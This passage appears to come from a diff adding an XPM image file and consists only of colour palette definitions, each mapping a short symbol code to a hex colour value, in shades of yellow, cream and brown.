#BDA382", +"!> c #B9A380", +"~> c #FAF67E", +"{> c #CEB478", +"]> c #985221", +"^> c #64310E", +"/> c #451921", +"(> c #FFE263", +"_> c #FCFF7C", +":> c #FAFE74", +"<> c #FAFE88", +"[> c #F9FD89", +"}> c #F8FC8B", +"|> c #F6FA8D", +"1> c #F4F78F", +"2> c #F2F591", +"3> c #F0F393", +"4> c #EFF194", +"5> c #EEF196", +"6> c #EEF198", +"7> c #F0F299", +"8> c #F1F39B", +"9> c #F1F49C", +"0> c #F2F59E", +"a> c #F3F59F", +"b> c #F3F5A1", +"c> c #F2F5A2", +"d> c #F3F6A4", +"e> c #F8FBA7", +"f> c #F7FAA6", +"g> c #FAFDA9", +"h> c #F9FCAA", +"i> c #F4F7AB", +"j> c #EFF2AC", +"k> c #E6EAAD", +"l> c #F8F5AE", +"m> c #F7F4AF", +"n> c #E4E7B0", +"o> c #EDF0B1", +"p> c #F2F5B2", +"q> c #FBFEB3", +"r> c #FBFFB3", +"s> c #FBFFB4", +"t> c #FAFEB5", +"u> c #F9FDB6", +"v> c #F6FAB6", +"w> c #F6F9B6", +"x> c #F8F8B6", +"y> c #F0F3B7", +"z> c #F0F3B4", +"A> c #FFFFC6", +"B> c #A6A87F", +"C> c #746F5B", +"D> c #A49582", +"E> c #FBE6C9", +"F> c #FFF2D4", +"G> c #ECDDC3", +"H> c #ECDDC5", +"I> c #ECDEC6", +"J> c #EDDEC5", +"K> c #ECDDC4", +"L> c #ECDBC2", +"M> c #EBDAC0", +"N> c #E8D6B9", +"O> c #E8D4B6", +"P> c #E6D2B0", +"Q> c #E5D0AE", +"R> c #E3CEAB", +"S> c #E2CBA7", +"T> c #DDC59E", +"U> c #ECCE9F", +"V> c #FCD7A1", +"W> c #877257", +"X> c #3D3C2F", +"Y> c #9D966F", +"Z> c #CABC94", +"`> c #F1E9A0", +" , c #FFFFA1", +"., c #DDD19E", +"+, c #CBBC9C", +"@, c #DDCE9B", +"#, c #E1CF99", +"$, c #E3CF98", +"%, c #DECC96", +"&, c #D2C194", +"*, c #B7A893", +"=, c #EFE791", +"-, c #FFFE8F", +";, c #F4EE8D", +">, c #CFC08C", +",, c #C7AF8A", +"', c #DCC088", +"), c #E4C486", +"!, c #E4C384", +"~, c #DBBC82", +"{, c #CEB380", +"], c #B0967F", +"^, c #D4C47C", +"/, c #FFFF81", +"(, c #E5D376", +"_, c #8F4C1F", +":, c #5E2D0D", +"<, c #431821", +"[, c #4D201E", +"}, c #FFE261", +"|, c #FCFF7A", +"1, c #F9FE73", +"2, c #FAFE75", +"3, c #FAFE84", +"4, c #F8FC86", +"5, c #F7FA88", +"6, c #F4F88A", +"7, c #F1F58B", +"8, c #EEF18D", +"9, c #ECEE8F", +"0, c #E6EA90", +"a, c #E3E792", +"b, c #E3E794", +"c, c #E3E795", +"d, c #E5E997", +"e, c #E9ED99", +"f, c #EBEE9A", +"g, c #ECEF9C", +"h, c #ECEE9D", +"i, c #EBEE9E", +"j, c #E8EC9F", +"k, c #F8FCAA", +"l, c #EEF5A1", +"m, c #FAFDAA", +"n, c #F7FBA7", +"o, c #F8FCA9", +"p, c #F3F6A9", +"q, c #EFF1AA", +"r, c #E5E9AB", +"s, c #F4F3AB", +"t, c #F9F5AC", +"u, c #E2E6AE", +"v, c #ECEEAE", +"w, c #F1F5AF", +"x, c #F7FAB0", +"y, c #FAFEB1", +"z, c #FBFFB1", +"A, c #FBFFB2", +"B, c #FAFEB3", +"C, c #F9FDB3", +"D, c #F7FCB3", +"E, c #F6FAB4", +"F, c #F4F8B4", +"G, c #F4F7B2", +"H, c #E6EBAE", +"I, c #807F61", +"J, c #857A6C", +"K, c #E5D4BD", +"L, c #FFF9DB", +"M, c #EEDFC8", +"N, c #EDDFC9", +"O, c #EFE1CB", +"P, c #EEE1CB", +"Q, c #EEE0CA", +"R, c #EDDFC7", +"S, c #ECDCC4", +"T, c #EADAC0", +"U, c #EDDBC0", +"V, c #FBE7C6", +"W, c #FFEDCA", +"X, c #FFEAC5", +"Y, c #FEE5BF", +"Z, c #FFE8C0", +"`, c #F0D8B4", +" ' c #E1CBA8", +".' c #DFC7A0", +"+' c #E0C599", +"@' c #FFDCA4", +"#' c #917A5D", +"$' c #3A392C", +"%' c #988F6D", +"&' c #C2B68C", +"*' c #FFFC9D", +"=' c #EEE79E", +"-' c #CEBF9B", +";' c #DCCB99", +">' c #E3CF97", +",' c #E7D196", +"'' c #E4CF94", +")' c #DAC693", +"!' c #BEAC91", +"~' c #D0C58F", +"{' c #FFFF8D", +"]' c #FBF58C", +"^' c #DED48A", +"/' c #BDA788", +"(' c #D7BD86", +"_' c #E3C384", +":' c #E7C582", +"<' c #E1BF81", +"[' c #D4B57E", +"}' c #BCA07D", +"|' c #C2AD7B", +"1' c #FFFF7F", +"2' c #FBEE74", +"3' c #97571F", +"4' c #5A280D", +"5' c #431820", +"6' c #4C201E", +"7' c #FFE260", +"8' c #FCFF78", +"9' c #F9FE71", +"0' c #F9FE81", +"a' c #F7FC82", +"b' c #F5F984", +"c' c #F2F686", +"d' c #EEF188", +"e' c #EAED8A", +"f' c #E1E68B", +"g' c #DEE18D", +"h' c #E7E88F", +"i' c #F0EF90", +"j' c #F6F392", +"k' c #F5F393", +"l' c #EAEA95", +"m' c #E0E397", +"n' c #DFE398", +"o' c #E1E49A", +"p' c #DFE39B", +"q' c #E0E39C", +"r' c #F6F8AB", +"s' c #BABC83", +"t' c #726D56", +"u' c #9B9D6D", +"v' c #EFF3A4", +"w' c #F3F5A6", +"x' c #F1F4A4", +"y' c #F3F6A7", +"z' c #EFF2A8", +"A' c #E5E9A8", +"B' c #EFEFA9", +"C' c #FFFAAA", +"D' c #E5E7AB", +"E' c #E7EBAC", +"F' c #EFF2AD", +"G' c #F5F9AD", +"H' c #F9FDAE", +"I' c #FBFFAF", +"J' c #FBFFB0", +"K' c #F9FDB1", +"L' c #F8FDB1", +"M' c #F7FCB1", +"N' c #F8FCB1", +"O' c #FFFFC9", +"P' c #C9CD92", +"Q' c #6C6852", +"R' c #B6A798", +"S' c #FFF8DE", +"T' c #F8EAD3", +"U' c #EDE0CC", +"V' c #F0E3D0", +"W' c #F0E3CF", +"X' c #EFE3CE", +"Y' c #EEE1CC", +"Z' c #EDDEC8", +"`' c #F0E0C7", +" ) c #FFF2D3", +".) c #FFF5D3", +"+) c #EDD7B9", +"@) c #BCA991", +"#) c #9D8D78", +"$) c #92846E", +"%) c #91836B", +"&) c #93826E", +"*) c #C1A98E", +"=) c #FFE6BB", +"-) c #F0D9B1", +";) c #DFC8A4", +">) c #DFC7A1", +",) c #DFC497", +"') c #FFDCA3", +")) c #7D6B51", +"!) c #3A392B", +"~) c #988C6F", +"{) c #CAC089", +"]) c #FFFF9A", +"^) c #E2D59A", +"/) c #D3C097", +"() c #E3CF95", +"_) c #E8D194", +":) c #E7D092", +"<) c #DFC991", +"[) c #CDBA8F", +"}) c #B9AA8D", +"|) c #FFFF8A", +"1) c #EAE188", +"2) c #C0AC86", +"3) c #D0B585", +"4) c #E0C083", +"5) c #E8C480", +"6) c #E4C17F", +"7) c #D9B87D", +"8) c #C3A27B", +"9) c #D1BD79", +"0) c #FFFF7D", +"a) c #FFF473", +"b) c #A06020", +"c) c #FFE25F", +"d) c #FCFF76", +"e) c #F9FE70", +"f) c #F9FE72", +"g) c #F9FE74", +"h) c #F9FE7D", +"i) c #F7FC7F", +"j) c #F5F981", +"k) c #F0F482", +"l) c #ECEF84", +"m) c #E3E786", +"n) c #DADF88", +"o) c #E6E789", +"p) c #F7F58B", +"q) c #FBF78D", +"r) c #F9F58E", +"s) c #F3F090", +"t) c #F4F192", +"u) c #FBF793", +"v) c #F9F695", +"w) c #E6E796", +"x) c #E3E598", +"y) c #F4F199", +"z) c #F6F59C", +"A) c #FBF997", +"B) c #968E6C", +"C) c #D6BCB4", +"D) c #918379", +"E) c #6D704D", +"F) c #C3C886", +"G) c #D6D892", +"H) c #ECEFA2", +"I) c #EFF3A7", +"J) c #E7EBA7", +"K) c #E5E8A7", +"L) c #FFFDA8", +"M) c #EFEEA9", +"N) c #DFE4A9", +"O) c #ECEFAA", +"P) c #F3F6AB", +"Q) c #F8FBAC", +"R) c #FAFEAC", +"S) c #FBFFAD", +"T) c #FAFEAE", +"U) c #FAFFAF", +"V) c #B8BC81", +"W) c #6A6253", +"X) c #DBCCBD", +"Y) c #FFFCE3", +"Z) c #EFE2CE", +"`) c #F0E4D2", +" ! c #F1E6D4", +".! c #F1E6D3", +"+! c #F0E4D0", +"@! c #EEE0CC", +"#! c #FCECD3", +"$! c #FFFDDE", +"%! c #F4E1C6", +"&! c #B0A08C", +"*! c #7D7261", +"=! c #68614C", +"-! c #4E4A36", +";! c #504E37", +">! c #666547", +",! c #797755", +"'! c #7A7759", +")! c #757451", +"!! c #787353", +"~! c #7B6D5B", +"{! c #D4BB9A", +"]! c #FCE2B8", +"^! c #DEC8A3", +"/! c #E5C899", +"(! c #EFCC96", +"_! c #514736", +":! c #4E4B39", +"~ c #E2D3BB", +",~ c #8F8474", +"'~ c #585343", +")~ c #45442E", +"!~ c #4E4F32", +"~~ c #818055", +"{~ c #B2AE78", +"]~ c #CEC78B", +"^~ c #D7D195", +"/~ c #DED69A", +"(~ c #E0D6A2", +"_~ c #FEF8AB", +":~ c #EFEBA1", +"<~ c #938F70", +"[~ c #615A48", +"}~ c #C5AD8E", +"|~ c #F9DFB6", +"1~ c #E0C8A3", +"2~ c #DDC49B", +"3~ c #FAD8A1", +"4~ c #B49972", +"5~ c #353226", +"6~ c #776E54", +"7~ c #AA9E77", +"8~ c #FEF991", +"9~ c #E8DB95", +"0~ c #D6C191", +"a~ c #E4CE90", +"b~ c #E7CF8E", +"c~ c #E2CA8C", +"d~ c #D6C08B", +"e~ c #BBA78A", +"f~ c #CEC188", +"g~ c #FFFF86", +"h~ c #FEF984", +"i~ c #CCBC83", +"j~ c #BFA581", +"k~ c #DABB7F", +"l~ c #E4C17D", +"m~ c #E6C07B", +"n~ c #E0BB7A", +"o~ c #D6B378", +"p~ c #D5B776", +"q~ c #D8C17A", +"r~ c #DDBE71", +"s~ c #B96D24", +"t~ c #683110", +"u~ c #441922", +"v~ c #A34700", +"w~ c #FFE25D", +"x~ c #FCFF73", +"y~ c #F9FE6C", +"z~ c #F9FE76", +"A~ c #F8FD77", +"B~ c #F5FA7A", +"C~ c #F0F47B", +"D~ c #EAED7D", +"E~ c #DEE27F", +"F~ c #D3D781", +"G~ c #F8F582", +"H~ c #FFF984", +"I~ c #D9DB86", +"J~ c #D1D687", +"K~ c #D9DD89", +"L~ c #DDE08B", +"M~ c #DEE18C", +"N~ c #DCDF8F", +"O~ c #D9DD91", +"P~ c #E5E692", +"Q~ c #E6E894", +"R~ c #DCE095", +"S~ c #F5FAA6", +"T~ c #909565", +"U~ c #988B7D", +"V~ c #FFF2D2", +"W~ c #F2E2C5", +"X~ c #FFF1D7", +"Y~ c #554F46", +"Z~ c #4B5030", +"`~ c #ADB078", +" { c #D8DA97", +".{ c #E7E9A4", +"+{ c #DADEA3", +"@{ c #E1E1A4", +"#{ c #FFFEA4", +"${ c #E1E1A5", +"%{ c #DBDFA6", +"&{ c #EAEDA7", +"*{ c #F1F5A7", +"={ c #F7FBA8", +"-{ c #FAFEA8", +";{ c #FAFFA9", +">{ c #F9FFA7", +",{ c #C2C882", +"'{ c #6C6458", +"){ c #F3E5D5", +"!{ c #FFF6DF", +"~{ c #EFE4D2", +"{{ c #F2E8D8", +"]{ c #F2E9D9", +"^{ c #F2E8D7", +"/{ c #EFE2D0", +"({ c #FFFEE6", +"_{ c #FCEED6", +":{ c #8E8575", +"<{ c #413F31", +"[{ c #383924", +"}{ c #6A6A45", +"|{ c #AAA772", +"1{ c #C9C387", +"2{ c #D9D391", +"3{ c #EAE29D", +"4{ c #F2E9A3", +"5{ c #F3EAA6", +"6{ c #F2E8A6", +"7{ c #EAE0A5", +"8{ c #F3ECA4", +"9{ c #F4EDA3", +"0{ c #FBF0B7", +"a{ c #C4BF8D", +"b{ c #736A54", +"c{ c #E4CAA6", +"d{ c #E8D0AA", +"e{ c #E2CAA4", +"f{ c #DDC396", +"g{ c #F4D199", +"h{ c #60553F", +"i{ c #44422F", +"j{ c #887B62", +"k{ c #DFD885", +"l{ c #F8EF93", +"m{ c #D4BF90", +"n{ c #E1CB8E", +"o{ c #E5CC8C", +"p{ c #E1C98B", +"q{ c #D6C089", +"r{ c #BDA888", +"s{ c #C8BB86", +"t{ c #FFFC84", +"u{ c #FBF583", +"v{ c #D4C681", +"w{ c #BBA27F", +"x{ c #D6B87E", +"y{ c #E2BF7B", +"z{ c #E6BF7A", +"A{ c #E1BB78", +"B{ c #DBB776", +"C{ c #D1AB74", +"D{ c #CBA778", +"E{ c #D0A16F", +"F{ c #C27026", +"G{ c #6F3711", +"H{ c #461923", +"I{ c #602D19", +"J{ c #CC671D", +"K{ c #FFE25C", +"L{ c #FBFF71", +"M{ c #F9FE6B", +"N{ c #F9FE6D", +"O{ c #F9FE6F", +"P{ c #F6FC76", +"Q{ c #F1F677", +"R{ c #EAEE7A", +"S{ c #E1E47B", +"T{ c #CCD27D", +"U{ c #EFEC7E", +"V{ c #FFFD81", +"W{ c #CFD182", +"X{ c #CBCF83", +"Y{ c #D7DA86", +"Z{ c #DADD87", +"`{ c #DCDE89", +" ] c #DCDF8A", +".] c #DDDF8C", +"+] c #DDE08D", +"@] c #DEE18F", +"#] c #DDE190", +"$] c #E0E392", +"%] c #E5E893", +"&] c #FFFFA3", +"*] c #989C63", +"=] c #A09385", +"-] c #FFEFD0", +";] c #E7D7BB", +">] c #FFF7D9", +",] c #C9B7A5", +"'] c #343526", +")] c #7B7E55", +"!] c #B3B57F", +"~] c #DADC9C", +"{] c #DADDA3", +"]] c #C5C9A1", +"^] c #F1EDA2", +"/] c #F9F7A3", +"(] c #D5D9A3", +"_] c #E3E6A4", +":] c #ECF0A5", +"<] c #F3F7A5", +"[] c #F6FAA6", +"}] c #F8FCA6", +"|] c #F5FBA4", +"1] c #FFFFBB", +"2] c #D4D98D", +"3] c #726D58", +"4] c #E8DBCF", +"5] c #FFF7DF", +"6] c #FFFFEA", +"7] c #DED3BD", +"8] c #4F4B3E", +"9] c #272917", +"0] c #686845", +"a] c #A29F6F", +"b] c #C5C185", +"c] c #E0DB97", +"d] c #F2ECA1", +"e] c #FAF1A6", +"f] c #FCF3A6", +"g] c #F9F0A5", +"h] c #F4EBA4", +"i] c #EFE6A2", +"j] c #E7DDA1", +"k] c #F1E8A0", +"l] c #F0E99F", +"m] c #D8CD9C", +"n] c #FFF7B6", +"o] c #9D976F", +"p] c #95846D", +"q] c #FBE1B9", +"r] c #E3CCA8", +"s] c #DFC79E", +"t] c #FCD9A1", +"u] c #907C5C", +"v] c #333123", +"w] c #756952", +"x] c #BEB676", +"y] c #FDF78E", +"z] c #DBC88F", +"A] c #DCC58C", +"B] c #E2CA8A", +"C] c #DFC789", +"D] c #D6BF87", +"E] c #BBA785", +"F] c #C6B984", +"G] c #FFFB83", +"H] c #FEF880", +"I] c #DBCE7F", +"J] c #B79E7D", +"K] c #D3B67B", +"L] c #DFBC7A", +"M] c #E3BD78", +"N] c #E0BA76", +"O] c #DAB374", +"P] c #D4AC72", +"Q] c #D5B176", +"R] c #DCAF6E", +"S] c #CA7527", +"T] c #713812", +"U] c #471923", +"V] c #FFE25B", +"W] c #FBFF6F", +"X] c #F9FE69", +"Y] c #F8FE72", +"Z] c #F4FA74", +"`] c #ECF176", +" ^ c #E3E778", +".^ c #CED479", +"+^ c #DCDB7B", +"@^ c #DAD97F", +"#^ c #BFC480", +"$^ c #D0D282", +"%^ c #D3D684", +"&^ c #D3D685", +"*^ c #D2D786", +"=^ c #D2D788", +"-^ c #D5D98A", +";^ c #D7DB8B", +">^ c #DBDF8C", +",^ c #E0E38E", +"'^ c #E4E78F", +")^ c #E7EB90", +"!^ c #95985F", +"~^ c #A49689", +"{^ c #FFF0D1", +"]^ c #EBDCC2", +"^^ c #EDDCC2", +"/^ c #FFFDE1", +"(^ c #6A6457", +"_^ c #363A23", +":^ c #91936A", +"<^ c #BABD8E", +"[^ c #CCCFA0", +"}^ c #DBDCA0", +"|^ c #F7F6A0", +"1^ c #FFFFA0", +"2^ c #E9E9A1", +"3^ c #D3D8A2", +"4^ c #E4E8A2", +"5^ c #EDF0A3", +"6^ c #F0F4A3", +"7^ c #EFF4A2", +"8^ c #FFFFB1", +"9^ c #E4E999", +"0^ c #6D6C50", +"a^ c #D6C9C2", +"b^ c #FFFBE3", +"c^ c #EEE2D0", +"d^ c #F2E8D6", +"e^ c #F2E7D7", +"f^ c #EFE1D0", +"g^ c #FFFFE8", +"h^ c #DAD0BB", +"i^ c #302D23", +"j^ c #404224", +"k^ c #84825B", +"l^ c #A6A475", +"m^ c #D4D090", +"n^ c #F1EBA1", +"o^ c #FBF4A6", +"p^ c #FCF4A5", +"q^ c #F9F2A4", +"r^ c #F8EFA2", +"s^ c #F5ECA1", +"t^ c #F1E7A0", +"u^ c #EDE39F", +"v^ c #E5DA9E", +"w^ c #F1E99D", +"x^ c #F1EA9C", +"y^ c #DACF9B", +"z^ c #ECE0A5", +"A^ c #B4AE7B", +"B^ c #867B60", +"C^ c #F9DFB9", +"D^ c #E4CEAB", +"E^ c #E3CAA4", +"F^ c #F3D3A0", +"G^ c #B69C72", +"H^ c #3F3A29", +"I^ c #675D45", +"J^ c #A59A6A", +"K^ c #F8F489", +"L^ c #E2D18D", +"M^ c #D7BF8A", +"N^ c #DFC788", +"O^ c #DCC487", +"P^ c #D3BC85", +"Q^ c #B8A384", +"R^ c #CCC082", +"S^ c #FFFE81", +"T^ c #FFFC7F", +"U^ c #CCBD7D", +"V^ c #B69D7B", +"W^ c #D2B37A", +"X^ c #DDBA78", +"Y^ c #DFBA76", +"Z^ c #D6AE74", +"`^ c #D7B073", +" / c #DDBC71", +"./ c #D7B573", +"+/ c #D9A66D", +"@/ c #CD7628", +"#/ c #733812", +"$/ c #4E201E", +"%/ c #FFE25A", +"&/ c #FBFF6D", +"*/ c #F8FE67", +"=/ c #F9FF6E", +"-/ c #F8FD70", +";/ c #F1F672", +">/ c #E6EB74", +",/ c #D8DD76", +"'/ c #C8CC77", +")/ c #FEF979", +"!/ c #F7F27B", +"~/ c #B8BC7C", +"{/ c #C3C67E", +"]/ c #C4C880", +"^/ c #C9CD82", +"// c #D8DA83", +"(/ c #E3E484", +"_/ c #ECEA86", +":/ c #EBE988", +"( c #FFE258", +",( c #FBFF6B", +"'( c #F8FE66", +")( c #F8FE68", +"!( c #FAFF6D", +"~( c #F6FC6F", +"{( c #EDF271", +"]( c #E1E572", +"^( c #C9CE74", +"/( c #D4D376", +"(( c #FFFF77", +"_( c #D6D479", +":( c #AAAF7B", +"<( c #B2B67C", +"[( c #C6C87E", +"}( c #F1EF80", +"|( c #FFFC83", +"1( c #FCF584", +"2( c #F6F186", +"3( c #F8F487", +"4( c #D9DD8B", +"5( c #E2E78C", +"6( c #A5A369", +"7( c #CDBBAE", +"8( c #F9EBD4", +"9( c #F0E4D1", +"0( c #F0E5D2", +"a( c #F6E7D2", +"b( c #FFF3DA", +"c( c #555148", +"d( c #3E412C", +"e( c #AEAA67", +"f( c #FBF38C", +"g( c #EDEC9C", +"h( c #CFD09C", +"i( c #C4C89C", +"j( c #D6D99C", +"k( c #F9F69D", +"l( c #F7F49E", +"m( c #DEE19E", +"n( c #DADF9E", +"o( c #898E59", +"p( c #9D908D", +"q( c #FFFFEE", +"r( c #EDDFCA", +"s( c #FFF2DC", +"t( c #FFFFED", +"u( c #F6ECD6", +"v( c #51493F", +"w( c #32341C", +"x( c #767653", +"y( c #A3A16D", +"z( c #DCD891", +"A( c #EBE7A1", +"B( c #F2EDA2", +"C( c #F3ED9F", +"D( c #F5EE9E", +"E( c #F7EF9E", +"F( c #F7EE9D", +"G( c #F6ED9C", +"H( c #F3E99C", +"I( c #EFE49B", +"J( c #EBE09A", +"K( c #E3D79A", +"L( c #F4EC99", +"M( c #EBE298", +"N( c #D8CC96", +"O( c #FDEFAA", +"P( c #9D9569", +"Q( c #978870", +"R( c #FEE6BF", +"S( c #E5D1B0", +"T( c #E4CEAA", +"U( c #F3D6A5", +"V( c #B79E75", +"W( c #423C29", +"X( c #645C3E", +"Y( c #8E7F60", +"Z( c #EAE282", +"`( c #F5E98A", +" _ c #D0B886", +"._ c #D8C084", +"+_ c #D3BC83", +"@_ c #CAB481", +"#_ c #AC9980", +"$_ c #E3D97E", +"%_ c #F6EE7B", +"&_ c #B6A279", +"*_ c #BDA478", +"=_ c #CFB176", +"-_ c #CFA874", +";_ c #E3C773", +">_ c #F6EA71", +",_ c #D5B66F", +"'_ c #CEA86D", +")_ c #D4B470", +"!_ c #F7DF69", +"~_ c #D18127", +"{_ c #703412", +"]_ c #612D19", +"^_ c #CC671E", +"/_ c #FFE257", +"(_ c #FBFF6A", +"__ c #F8FE64", +":_ c #F8FE6A", +"<_ c #F9FF6B", +"[_ c #F5FB6C", +"}_ c #EAEE6E", +"|_ c #DBE070", +"1_ c #C1C672", +"2_ c #E7E373", +"3_ c #FFFF75", +"4_ c #B3B677", +"5_ c #A1A679", +"6_ c #D6D57A", +"7_ c #FFFD7C", +"8_ c #FCF97E", +"9_ c #E8E77F", +"0_ c #DBDC81", +"a_ c #D3D682", +"b_ c #D2D684", +"c_ c #D5D985", +"d_ c #E6E786", +"e_ c #F8F589", +"f_ c #DEE18B", +"g_ c #E4ED86", +"h_ c #A4A170", +"i_ c #DECCC1", +"j_ c #F5E9D5", +"k_ c #F0E5D4", +"l_ c #A09689", +"m_ c #3D3D1C", +"n_ c #A09B56", +"o_ c #BEBD7C", +"p_ c #C4C897", +"q_ c #D0D39B", +"r_ c #D9DB9A", +"s_ c #D4D89A", +"t_ c #CCD29B", +"u_ c #F0EF9B", +"v_ c #FFFC99", +"w_ c #FFFFB0", +"x_ c #B2B572", +"y_ c #7F7671", +"z_ c #FFF8E9", +"A_ c #F8ECD6", +"B_ c #E1D3C3", +"C_ c #AEA495", +"D_ c #AEA498", +"E_ c #BBB2A8", +"F_ c #AEA89C", +"G_ c #5B5547", +"H_ c #404225", +"I_ c #7E7D54", +"J_ c #9A996A", +"K_ c #D1CE8B", +"L_ c #F4EF9D", +"M_ c #EDE89F", +"N_ c #EEE99D", +"O_ c #F4ED9C", +"P_ c #F7EE9B", +"Q_ c #F5EB9A", +"R_ c #F2E799", +"S_ c #EEE399", +"T_ c #E8DD98", +"U_ c #E7DC97", +"V_ c #F5ED96", +"W_ c #E0D695", +"X_ c #E0D497", +"Y_ c #E3D794", +"Z_ c #867C5C", +"`_ c #D6BFA0", +" : c #EDD8B7", +".: c #E7D3B2", +"+: c #E5CFAB", +"@: c #F8DBA8", +"#: c #AE966F", +"$: c #3B3624", +"%: c #685E3F", +"&: c #908160", +"*: c #EBE380", +"=: c #F4E887", +"-: c #CDB584", +";: c #D3BC82", +">: c #CCB681", +",: c #BCA87F", +"': c #B3A27D", +"): c #F7F07C", +"!: c #FFFF7B", +"~: c #E4DA79", +"{: c #AB9477", +"]: c #C4A976", +"^: c #CEAE74", +"/: c #D3AF73", +"(: c #F4E670", +"_: c #D6BA6F", +":: c #C0986D", +"<: c #C49D6B", +"[: c #D8BD6E", +"}: c #F6DD68", +"|: c #C77426", +"1: c #6F3513", +"2: c #FFE256", +"3: c #FBFF67", +"4: c #F8FE62", +"5: c #F8FF69", +"6: c #F3F96B", +"7: c #E7EC6D", +"8: c #D6DB6F", +"9: c #C1C570", +"0: c #FAF372", +"a: c #F5EC74", +"b: c #A2A575", +"c: c #E4E177", +"d: c #FFFF78", +"e: c #E4E37A", +"f: c #CBCE7B", +"g: c #CDD27D", +"h: c #D5D97E", +"i: c #DCE07F", +"j: c #DEE281", +"k: c #DBDF82", +"l: c #D2D784", +"m: c #FDF887", +"n: c #FBF98C", +"o: c #BFC772", +"p: c #8F896C", +"q: c #F6E4D4", +"r: c #F3E8D6", +"s: c #F4EADB", +"t: c #F4EBDC", +"u: c #F3E9D9", +"v: c #FFFAE5", +"w: c #CDC1B1", +"x: c #4A4729", +"y: c #717043", +"z: c #8C8F6C", +"A: c #C9CC90", +"B: c #DEE199", +"C: c #DCE097", +"D: c #D6DB98", +"E: c #DFE098", +"F: c #EBE997", +"G: c #F7F6A6", +"H: c #D1D485", +"I: c #7B755A", +"J: c #E9E1DB", +"K: c #FFFDE7", +"L: c #FFFFF1", +"M: c #A7A195", +"N: c #3C3C2D", +"O: c #363720", +"P: c #545333", +"Q: c #5E5F45", +"R: c #636341", +"S: c #868754", +"T: c #A9A770", +"U: c #B1B075", +"V: c #EAE59A", +"W: c #F8F39D", +"X: c #EBE59B", +"Y: c #EDE79B", +"Z: c #F1EA9A", +"`: c #F4EC9A", +" < c #F7ED99", +".< c #F7EC98", +"+< c #F4E998", +"@< c #F0E597", +"#< c #ECE196", +"$< c #E3D695", +"%< c #EEE494", +"&< c #F4ED94", +"*< c #D7CA91", +"=< c #FFF0A7", +"-< c #928A5D", +";< c #8B7B67", +">< c #FFECC5", +",< c #E6D3B4", +"'< c #E8D4B5", +")< c #FFE0AC", +"!< c #8A7859", +"~< c #302D1D", +"{< c #6E6342", +"]< c #968562", +"^< c #EFE780", +"/< c #F7EC85", +"(< c #C9B282", +"_< c #CCB680", +":< c #C5B17E", +"<< c #A8947D", +"[< c #CBBE7C", +"}< c #FFFF7A", +"|< c #FFFF79", +"1< c #C7B877", +"2< c #AF9575", +"3< c #CAAC74", +"4< c #CEAA72", +"5< c #E0C371", +"6< c #F3E56F", +"7< c #C19B6D", +"8< c #C3A06B", +"9< c #C09B69", +"0< c #DAC36C", +"a< c #DEB765", +"b< c #BB6625", +"c< c #6F3712", +"d< c #FFE254", +"e< c #FAFF65", +"f< c #F8FE60", +"g< c #F9FE65", +"h< c #F8FF67", +"i< c #F2F969", +"j< c #E5EB6B", +"k< c #D4DA6D", +"l< c #C4C86E", +"m< c #F9F170", +"n< c #F3EE72", +"o< c #EFEB73", +"p< c #FDF775", +"q< c #C8CB76", +"r< c #C2C778", +"s< c #D7DC79", +"t< c #E0E47B", +"u< c #E4E87C", +"v< c #E6EA7D", +"w< c #E6EB7F", +"x< c #E4E980", +"y< c #E1E582", +"z< c #D5DB83", +"A< c #D7DA84", +"B< c #FFFF90", +"C< c #B8B85E", +"D< c #827C6E", +"E< c #F4EBDD", +"F< c #F5ECDE", +"G< c #F4EADC", +"H< c #FFF6E1", +"I< c #D9CCBB", +"J< c #424030", +"K< c #4B4D37", +"L< c #858862", +"M< c #C8CB89", +"N< c #E0E496", +"O< c #D9DE95", +"P< c #E3E595", +"Q< c #F6F295", +"R< c #DBDE99", +"S< c #DCE49D", +"T< c #6B6D4D", +"U< c #BDB2B0", +"V< c #FFFFF5", +"W< c #90897E", +"X< c #282915", +"Y< c #545635", +"Z< c #85865F", +"`< c #BEBC79", +" [ c #DBD98A", +".[ c #DEDD94", +"+[ c #DEDB90", +"@[ c #DAD78D", +"#[ c #E2DF91", +"$[ c #FBF7A4", +"%[ c #FFFFA6", +"&[ c #F6F19B", +"*[ c #FFFAA1", +"=[ c #FEF49C", +"-[ c #F7ED97", +";[ c #F3E896", +">[ c #EEE295", +",[ c #E9DE94", +"'[ c #E0D493", +")[ c #F4EC93", +"![ c #E7DE90", +"~[ c #F3E4A0", +"{[ c #C2B87A", +"][ c #6D624C", +"^[ c #EED6B3", +"/[ c #EEDBBB", +"([ c #E9D7B9", +"_[ c #E5CEAA", +":[ c #F9D9A5", +"<[ c #6B5E45", +"[[ c #35321F", +"}[ c #726645", +"|[ c #9C8A66", +"1[ c #F4EB80", +"2[ c #F7EC83", +"3[ c #C1AB80", +"4[ c #C3B07E", +"5[ c #B5A27C", +"6[ c #A7967B", +"7[ c #F2EB7A", +"8[ c #F6EE77", +"9[ c #B49F75", +"0[ c #BEA273", +"a[ c #D0AF72", +"b[ c #D5B070", +"c[ c #D2AB6F", +"d[ c #F9EC6D", +"e[ c #E0CB6B", +"f[ c #B2896A", +"g[ c #B89467", +"h[ c #B48D6A", +"i[ c #BE8B64", +"j[ c #BD6E24", +"k[ c #6C3612", +"l[ c #451922", +"m[ c #FFE253", +"n[ c #FAFF64", +"o[ c #F7FE5F", +"p[ c #F8FE61", +"q[ c #F9FE64", +"r[ c #F8FF65", +"s[ c #F2F967", +"t[ c #E7EC69", +"u[ c #D6DC6A", +"v[ c #CACE6C", +"w[ c #F5EE6E", +"x[ c #FFFF70", +"y[ c #F5F171", +"z[ c #BBBF73", +"A[ c #C1C674", +"B[ c #DADE76", +"C[ c #E4E977", +"D[ c #E9EE79", +"E[ c #ECF27A", +"F[ c #EFF47C", +"G[ c #EEF37D", +"H[ c #ECF07F", +"I[ c #E5EA7F", +"J[ c #DFE381", +"K[ c #CED482", +"L[ c #FFFE90", +"M[ c #C2BC59", +"N[ c #9F9487", +"O[ c #FFFEE9", +"P[ c #F3EADB", +"Q[ c #F5ECDF", +"R[ c #F5EDE0", +"S[ c #F5ECDD", +"T[ c #FFFBE6", +"U[ c #D4C8B5", +"V[ c #32312A", +"W[ c #494B38", +"X[ c #86885E", +"Y[ c #C6CA85", +"Z[ c #DDE293", +"`[ c #E0E493", +" } c #F7F393", +".} c #D4D791", +"+} c #F0F6A7", +"@} c #9A9B57", +"#} c #9B9089", +"$} c #FFFFF8", +"%} c #FFFFF6", +"&} c #9B9488", +"*} c #2B2E14", +"=} c #656743", +"-} c #82825C", +";} c #A9AA7B", +">} c #DFDD92", +",} c #F7F399", +"'} c #E7E69A", +")} c #EEEB98", +"!} c #F5F39D", +"~} c #FFFFA8", +"{} c #BDBC74", 